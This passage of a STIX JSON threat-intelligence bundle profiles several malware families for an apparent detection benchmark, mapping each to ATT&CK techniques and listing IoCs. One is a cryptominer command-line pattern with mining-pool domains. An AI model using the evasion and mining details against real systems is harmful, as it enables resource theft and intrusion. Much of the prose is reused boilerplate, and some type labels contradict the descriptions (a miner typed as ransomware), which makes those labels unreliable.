      "name": "Covus",
      "description": "<h3>Executive Summary</h3>\nCovus is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nCovus is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Covus operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Covus ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Covus receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Covus infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Covus executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Covus frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Covus",
        "Downloader.Covus",
        "Win32/Covus"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Covus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/covus"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c74f881-ea39-58e0-881f-ed2f7a11dfd8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--80b91358-b07f-5b6e-a742-fccb5f8a5124",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Covus exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--effada6f-105f-5820-8d01-4af10faf329e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--80b91358-b07f-5b6e-a742-fccb5f8a5124",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Covus exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d517483b-37a4-5ecb-89ff-23272ec4697a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--80b91358-b07f-5b6e-a742-fccb5f8a5124",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Covus exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--80de6afe-84b4-56aa-938d-91abdf291c87",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cpuminer",
      "description": "Trojan:Win32/Cpuminer (often a generalized classification for multiple variants) represents a massive shift in cybercrime monetization: **Cryptojacking**. Instead of stealing data or demanding a ransom, Cpuminer silently hijacks the processing power (CPU/GPU) of the infected endpoint or server to mine cryptocurrency (most commonly Monero/XMR) and deposits the generated coins into the attacker's wallet.<br><br><b>Understanding Cpuminer (Cryptojacking)</b><br>To an end-user, a Cpuminer infection manifests as severe system sluggishness, loud cooling fans, and drastically reduced battery life on laptops. For an enterprise, a widespread cryptominer outbreak represents a massive theft of computing resources (driving up AWS/Azure cloud compute bills astronomically) and indicates a severe vulnerability that could easily be exploited to deploy ransomware instead.<br><br><b>Execution and Resource Hijacking Mechanics</b><br>Cpuminer variants are distributed via every conceivable vector: phishing, exploit kits, exposed RDP servers, and crucially, exploiting unpatched web servers (like WebLogic, Apache Struts, or vulnerable Docker APIs) (`T1190`). The payloads are often modified versions of open-source mining software like XMRig. Upon execution, the miner establishes persistence (via Scheduled Tasks or WMI event subscriptions) (`T1546.003`). It employs evasion tactics like 'Process Hollowing' (`T1055.012`) to hide the mining activity inside legitimate processes (like `svchost.exe` or `notepad.exe`). Advanced variants monitor Task Manager; if the user opens Task Manager to investigate the high CPU usage, the miner temporarily pauses its activity (`T1562.001`), resuming only when Task Manager is closed. The malware then utilizes nearly 100% of available CPU cycles (`T1496`) to calculate hashes, communicating continuously with a mining pool via the Stratum protocol (often over port 3333, 4444, or disguised as HTTPS/8080) (`T1071.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is hardware degradation, massive power consumption, and degraded server performance. Host-based IoCs include persistent 90-100% CPU usage by unrecognized or system processes, and EDR alerts for known mining command-line arguments (e.g., `-o stratum+tcp://... -u [wallet_address] -p x`). Network IoCs include continuous, long-lived connections to known mining pool domains (e.g., `minexmr.com`, `supportxmr.com`). (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cpuminer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cpuminer"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--02533eac-85f4-5169-a911-a1df1d1f27e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--80de6afe-84b4-56aa-938d-91abdf291c87",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cpuminer exhibits technique T1496 (Resource Hijacking (Cryptocurrency Mining))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--69c80782-dc4c-5f91-89f3-d9264a4fad08",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--80de6afe-84b4-56aa-938d-91abdf291c87",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cpuminer exhibits technique T1055.012 (Process Injection: Process Hollowing (Hiding the miner))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8c6305b-92cc-5e45-a0d7-2ba82200c87d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--80de6afe-84b4-56aa-938d-91abdf291c87",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cpuminer exhibits technique T1071.001 (Application Layer Protocol (Stratum mining protocol))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4041bc34-9cd9-505b-a6fc-ac5d29912c20",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--80de6afe-84b4-56aa-938d-91abdf291c87",
      "target_ref": "attack-pattern--be10f842-949a-5910-87e6-3068819d42e6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cpuminer exhibits technique T1190 (Exploit Public-Facing Application (Common entry vector for server miners))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0bb452f5-295c-59ca-a043-59e85d472ef3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cqst",
      "description": "<h3>Executive Summary</h3>\nCqst is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nCqst is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Cqst operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Cqst ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Cqst receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Cqst infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Cqst executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Cqst frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Cqst",
        "Downloader.Cqst",
        "Win32/Cqst"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cqst",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cqst"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--08404436-e41e-5324-adbc-4d834939d5f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0bb452f5-295c-59ca-a043-59e85d472ef3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cqst exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f26a9eee-8806-5024-9cb3-1ea8e299474b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0bb452f5-295c-59ca-a043-59e85d472ef3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cqst exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f5f88e07-26f5-56f6-a714-1518afb8d4a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0bb452f5-295c-59ca-a043-59e85d472ef3",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cqst exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--743a9513-da25-5277-89fb-30e9c4cb2791",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Crastic",
      "description": "Trojan:Win32/Crastic is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Crastic</b><br>To an end-user, a Crastic infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Crastic is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Crastic is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Crastic frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Crastic reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Crastic",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/crastic"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40bc2b4f-8a9e-507e-b956-d2d7f965663c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--743a9513-da25-5277-89fb-30e9c4cb2791",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crastic exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3bbfe37f-2012-56ce-b189-ac3c251956dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--743a9513-da25-5277-89fb-30e9c4cb2791",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crastic exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f898fee-5d86-5b24-a596-d0a82803702d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--743a9513-da25-5277-89fb-30e9c4cb2791",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crastic exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b53dbef5-fbe3-56f2-8a92-7be24561b565",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--743a9513-da25-5277-89fb-30e9c4cb2791",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crastic exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b45dd18f-1c9b-5b58-8178-2d786827e180",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--743a9513-da25-5277-89fb-30e9c4cb2791",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crastic exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--84388ab9-77b8-54d8-8390-4f9a607d9ad3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Crawler",
      "description": "Adware:Win32/Crawler (often associated with the historical 'Crawler Toolbar') is a Potentially Unwanted Program (PUA) and adware family designed to silently hijack web browsers, inject intrusive advertisements, alter search results, and aggressively track user browsing habits to generate illicit pay-per-click revenue.<br><br><b>Understanding Crawler Adware</b><br>To an end-user, a Crawler infection was highly frustrating. Their web browsing experience was completely subverted: massive banner ads appeared everywhere, and their default search engine and homepage were locked to the Crawler portal or affiliate sites. For security analysts, Crawler represents a classic example of aggressive Pay-Per-Install (PPI) monetization, utilizing persistent toolbars and Browser Helper Objects (BHOs) to ensure the user cannot easily revert their settings.<br><br><b>Execution and Hijacking Mechanics</b><br>Crawler was heavily distributed via deceptive software bundlers (`T1189`) on third-party freeware sites. Upon execution, the installer used 'Dark Patterns' to bypass user consent. It dropped its payload into `C:\\Program Files` and established aggressive persistence via multiple Registry Run keys. It installed rogue Browser Helper Objects (BHOs) and toolbars (`T1176`) into Internet Explorer and other browsers to intercept all web traffic (`T1185`), injecting its advertisements directly into the DOM and monitoring search queries.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy (all searches were tracked and monetized), and sluggish browser performance due to the heavy toolbar footprint. Incident responders will observe anomalous HTTP/HTTPS traffic to known adware affiliate networks. EDR logs will flag the installation of the Crawler toolbar and the persistent modification of browser registry keys. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Crawler",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/crawler"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05dc045c-6b87-5bf5-a3f4-14e8d22917d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84388ab9-77b8-54d8-8390-4f9a607d9ad3",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crawler exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ec4ce76-a959-5bbd-b19a-c2397392eba1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84388ab9-77b8-54d8-8390-4f9a607d9ad3",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crawler exhibits technique T1176 (Browser Extensions (Toolbar / BHO installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a8aa4504-59ba-59d1-8f62-a1bf96832068",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84388ab9-77b8-54d8-8390-4f9a607d9ad3",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crawler exhibits technique T1112 (Modify Registry (Search/Homepage Hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fe099754-fefe-563a-a55a-4e49860da1b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84388ab9-77b8-54d8-8390-4f9a607d9ad3",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crawler exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fe23371d-4f02-5fe4-b802-91740f083215",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Crcf",
      "description": "Trojan:Win32/Crcf is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Crcf</b><br>To an end-user, a Crcf infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Crcf is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Crcf is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Crcf frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Crcf reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Crcf",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/crcf"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d66e335d-7ea6-542d-b5ac-c727140d7fbf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe23371d-4f02-5fe4-b802-91740f083215",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crcf exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e309dd68-7c2b-5cae-b7cc-6761b0daaeb4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe23371d-4f02-5fe4-b802-91740f083215",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crcf exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e996c5c-a718-5667-bdd0-8c65a01cf045",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe23371d-4f02-5fe4-b802-91740f083215",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crcf exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--69a4a534-2033-5d07-8b59-d6e3287f414b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe23371d-4f02-5fe4-b802-91740f083215",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crcf exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c758bcf-0302-5b2e-b22f-831d601f1aa9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe23371d-4f02-5fe4-b802-91740f083215",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crcf exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--26e284ec-39bf-5d48-9a05-928b706deeb7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Creprote",
      "description": "Trojan:Win32/Creprote is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Creprote</b><br>To an end-user, a Creprote infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Creprote is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Creprote is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Creprote frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Creprote reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Creprote",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/creprote"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
